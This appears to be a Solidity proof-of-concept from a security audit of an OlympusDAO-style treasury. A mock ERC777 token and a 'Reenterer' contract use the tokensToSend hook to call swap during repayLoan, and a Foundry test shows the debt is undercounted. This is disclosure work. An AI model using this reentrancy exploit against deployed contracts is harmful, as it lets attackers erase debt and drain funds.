/// Mock to simulate the senders hook
/// for simplicity omitted the certain aspects like ERC1820 registry and etc.
contract MockERC777 is MockERC20 {
    constructor () MockERC20("ERC777", "777", 18) {}

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _callTokenToSend(from, to, amount);
        return super.transferFrom(from, to, amount);
        // _callTokenReceived(from, to, amount);
    }

    // simplified implementation for ERC777
    function _callTokenToSend(address from, address to, uint256 amount) private {
      if (from != address(0)) {
        IERC777Sender(from).tokensToSend(from, to, amount);
      }
    }
}

interface IERC777Sender {
  function tokensToSend(address from, address to, uint256 amount) external;
}

/// Concept for an attack contract
contract Reenterer is IERC777Sender {
  ERC20 public token;
  Operator public operator;
  bool public entered;

  constructor(address token_, Operator op_) {
    token = ERC20(token_);
    operator = op_;
  }

  function tokensToSend(address from, address to, uint256 amount) external override {
    if (!entered) {
    // call swap from reenter
    // which will manipulate the balance of treasury
      entered = true;
      operator.swap(token, 1e17, 0);
    }
  }
  
  function attack(OlympusTreasury treasury) public {
    // approve to the treasury
    token.approve(address(treasury), 1e18);
    token.approve(address(operator), 100* 1e18);

    // repayDebt of 1e17
    treasury.repayLoan(token, 1e17);
  }
}
/// the test
    function test_poc__reenter() public {
        vm.prank(guardian);
        operator.initialize();

      reserve.mint(address(reenterer), 1e18);
      assertEq(treasury.reserveDebt(reserve, address(reenterer)), 1e18);
      // start repayLoan
      reenterer.attack(treasury);
      // it should be 9 * 1e17 but it is 8 * 1e17
      assertEq(treasury.reserveDebt(reserve, address(reenterer)), 8*1e17);
    }
// OlympusTreasury::repayLoan

105     function repayLoan(ERC20 token_, uint256 amount_) external nonReentrant {
106         if (reserveDebt[token_][msg.sender] == 0) revert TRSRY_NoDebtOutstanding();
107
108         // Deposit from caller first (to handle nonstandard token transfers)
109         uint256 prevBalance = token_.balanceOf(address(this));
110         token_.safeTransferFrom(msg.sender, address(this), amount_);
111
112         uint256 received = token_.balanceOf(address(this)) - prevBalance;
// Operator::swap

329             /// Transfer reserves to treasury
330             reserve.safeTransferFrom(msg.sender, address(TRSRY), amountIn_);
